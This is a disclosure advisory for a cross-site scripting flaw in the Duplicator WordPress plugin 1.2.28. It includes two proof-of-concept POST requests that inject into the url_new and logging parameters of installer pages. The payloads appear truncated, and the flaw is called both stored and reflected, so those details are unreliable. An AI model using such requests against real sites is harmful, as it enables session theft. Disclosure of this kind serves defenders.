Class Input Validation Error Remote Yes Credit Ricardo Sanchez Vulnerable Duplicator a WordPress Migration Plugin 1.2.28 Duplicator a WordPress Migration Plugin is prone to a stored cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. To exploit this issue following steps: The XSS reflected because the values are not filter correctly: Demo Request POST: POST /wordpress//wp-content/plugins/duplicator/installer/build/view.step4.php HTTP/1.1 Host: localhost Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: es-ES,es;q=0.8 Cookie: Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 39 url_new=">demo Demo 2 Request POST: POST /wordpress//wp-content/plugins/duplicator/installer/build/view.step2.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: es-ES,es;q=0.8 Cookie: Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 37 logging=">demo